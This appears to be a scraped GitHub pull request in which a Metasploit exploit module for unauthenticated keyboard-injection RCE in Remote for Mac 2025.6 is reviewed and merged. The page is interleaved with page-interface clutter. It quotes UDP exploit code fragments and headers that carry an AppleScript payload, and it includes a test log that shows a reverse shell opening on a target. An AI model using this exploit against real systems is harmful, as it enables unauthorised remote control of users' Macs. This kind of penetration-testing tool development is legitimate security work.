Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

blue0x1 · 2025-05-29T06:02:25Z

Remote for Mac 2025.6 UDP Keyboard Input RCE Module

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. The vulnerability allows attackers to send crafted UDP packets that simulate keyboard input, bypassing authentication when the "Allow unknown devices" feature is enabled.

The module sends a sequence of UDP packets to open the Terminal app and then injects a payload command to execute arbitrary code on the target system. The target UDP port must be specified in the RPORT option, as it may vary depending on the target’s configuration.

Successful exploitation results in full remote code execution under the privileges of the Remote for Mac application, potentially leading to full system compromise.

Notes:

The vulnerability is only exploitable if authentication is disabled and "Allow unknown devices" is enabled.

The UDP port should be confirmed for each target environment.

Reverse shell payloads are supported, facilitating remote control.

References:
https://packetstorm.news/files/id/196351/

msutovsky-r7

Would you mind adding docs here as well?

msutovsky-r7 · 2025-05-29T13:41:10Z

modules/exploits/osx/http/remote_for_mac_rce.rb

Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.

msutovsky-r7 · 2025-05-29T13:42:14Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+
+    register_options(
+      [
+        Opt::RHOSTS(),


Why is this empty? I don't think this has to be here.

msutovsky-r7 · 2025-05-29T13:42:28Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+      [
+        Opt::RHOSTS(),
+        Opt::RPORT(49229),
+        OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),


SSL is already registered options afaik

msutovsky-r7 · 2025-05-29T13:43:12Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    protocol = datastore['SSL'] ? 'https' : 'http'
+    vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")


The send_request_cgi has already in its options SSL, so no need to specify it like this.

msutovsky-r7 · 2025-05-29T13:43:53Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+        'ssl' => datastore['SSL'],
+        'rport' => datastore['RPORT'],
+        'rhost' => datastore['RHOSTS']


I'm not sure if this should be here

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

msutovsky-r7 · 2025-05-30T07:14:46Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+        json = JSON.parse(res.body)
+        if json['requires.auth'] == false
+          print_good('Authentication is disabled. Target is vulnerable.')
+          return true
+        else
+          print_error('Authentication is enabled. Exploit aborted.')
+          return false
+        end
+      else
+        print_error('Unexpected response from target')
+        return false
+      end
+    rescue ::Rex::ConnectionError, JSON::ParserError => e
+      print_error("Connection or parsing error: #{e.message}")
+      return false
+    end


Using res.get_json_document would simplify greatly the logic of this part

msutovsky-r7 · 2025-05-30T07:20:39Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    udp_port = datastore['RPORT']
+    target_ip = datastore['RHOSTS']


Are you sending the UDP request to the same host/port as for TCP HTTP request?

Yes it’s the same port

msutovsky-r7 · 2025-05-30T07:20:57Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    udp_sock = UDPSocket.new
+    udp_sock.connect(target_ip, udp_port)
+
+    print_status('Simulating system keyboard input to open Terminal...')
+    initial_packets_hex.each do |hexpkt|
+      udp_sock.send([hexpkt].pack('H*'), 0)
+      select(nil, nil, nil, 0.05)
+    end
+
+    prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
+    'terminal'.each_char do |ch|
+      pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
+      udp_sock.send(pkt, 0)
+      select(nil, nil, nil, 0.1)
+    end
+
+    final_packets_hex.each do |hexpkt|
+      udp_sock.send([hexpkt].pack('H*'), 0)
+      select(nil, nil, nil, 0.1)
+    end


You can use include Msf::Exploit::Remote::Udp to simplify some of this

github-actions · 2025-05-30T07:28:22Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

msutovsky-r7 · 2025-06-11T06:22:00Z

Hi @blue0x1 , just checking in! If you need help with requested changes for this PR, let me know.

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

msutovsky-r7 · 2025-06-11T08:23:46Z

msf6 exploit(osx/misc/remote_for_mac) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.140:4444 
[*] Checking authentication on https://192.168.168.175:49158/api/getVersion
[+] Authentication is disabled. Target is vulnerable.
[*] Simulating system keyboard input to open Terminal...
[*] Sending malicious payload to be executed...
[+] Payload sent. Awaiting session...
[*] Command shell session 1 opened (192.168.168.140:4444 -> 192.168.168.175:49161) at 2025-06-11 04:23:20 -0400

i
zsh: command not found: i
id
uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
whoami
ms

msutovsky-r7 · 2025-07-10T09:58:20Z

modules/exploits/osx/http/remote_for_mac_rce.rb

I don't think this has to be here.

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

modules/exploits/osx/http/remote_for_mac_rce.rb

msutovsky-r7 · 2025-07-28T12:28:29Z

modules/exploits/osx/http/remote_for_mac_rce.rb

+        'X-ClientToken' => '1337',
+        'X-HostName' => 'iFruit',
+        'X-HostFullModel' => 'iFruit19,2',
+        'X-Script' => applescript,
+        'X-ScriptName' => 'exploit',
+        'X-ScriptDelay' => '0'


Can any of these except X-Script be randomized?

msutovsky-r7 · 2025-08-05T09:04:21Z

Hey @blue0x1 , there's still some issues pending with your PR, namely missing docs and leftover file. I'm just checking in to see if you would need any help with moving forward this PR.

Co-authored-by: msutovsky-r7 <[email protected]>

msutovsky-r7 · 2025-08-28T07:48:39Z

Release Notes

This adds an exploit module for UDP keyboard misconfiguration in Remote For Mac, up to version 2025.7. The module will send a sequence of UDP packets to Remote For Mac, which will interpret them as keyboard strokes.

msutovsky-r7 requested changes May 30, 2025

View reviewed changes

msutovsky-r7 self-assigned this May 30, 2025

msutovsky-r7 added module needs-docs labels May 30, 2025

msutovsky-r7 changed the title ~~Exploit/osx/misc/remote for mac udp rce~~ Adds UDP Keyboard RCE for Remote for Mac 2025.6 May 30, 2025

msutovsky-r7 reviewed Jun 11, 2025

View reviewed changes

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Outdated Show resolved Hide resolved

msutovsky-r7 reviewed Jun 11, 2025

View reviewed changes

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Show resolved Hide resolved

msutovsky-r7 reviewed Jul 10, 2025

View reviewed changes

msutovsky-r7 reviewed Jul 28, 2025

View reviewed changes

root and others added 6 commits August 28, 2025 08:57

Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE

374407f

Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE

8a6d12a

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

2d1f700

Co-authored-by: msutovsky-r7 <[email protected]>

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

eda79be

Co-authored-by: msutovsky-r7 <[email protected]>

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

a251694

Co-authored-by: msutovsky-r7 <[email protected]>

Code rebase, fixing according to the comments

6c65db5

msutovsky-r7 force-pushed the exploit/osx/misc/remote_for_mac_udp_rce branch from 0197ea2 to 6c65db5 Compare August 28, 2025 07:00

msutovsky-r7 added 2 commits August 28, 2025 09:11

Adds more robust check method

f9b8a9b

Adds docs

b177507

msutovsky-r7 added docs rn-modules release notes for new or majorly enhanced modules and removed needs-docs labels Aug 28, 2025

msutovsky-r7 approved these changes Aug 28, 2025

View reviewed changes

msutovsky-r7 merged commit c5e5cb8 into rapid7:master Aug 28, 2025
19 checks passed

		protocol = datastore['SSL'] ? 'https' : 'http'
		vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")

		udp_port = datastore['RPORT']
		target_ip = datastore['RHOSTS']

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

Conversation

blue0x1 commented May 29, 2025

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

msutovsky-r7 May 30, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

github-actions bot commented May 30, 2025

Uh oh!

msutovsky-r7 commented Jun 11, 2025

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 commented Jun 11, 2025

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

msutovsky-r7 commented Aug 5, 2025

Uh oh!

Uh oh!

msutovsky-r7 commented Aug 28, 2025

Release Notes

Uh oh!

Uh oh!

msutovsky-r7 May 30, 2025 •

edited

Loading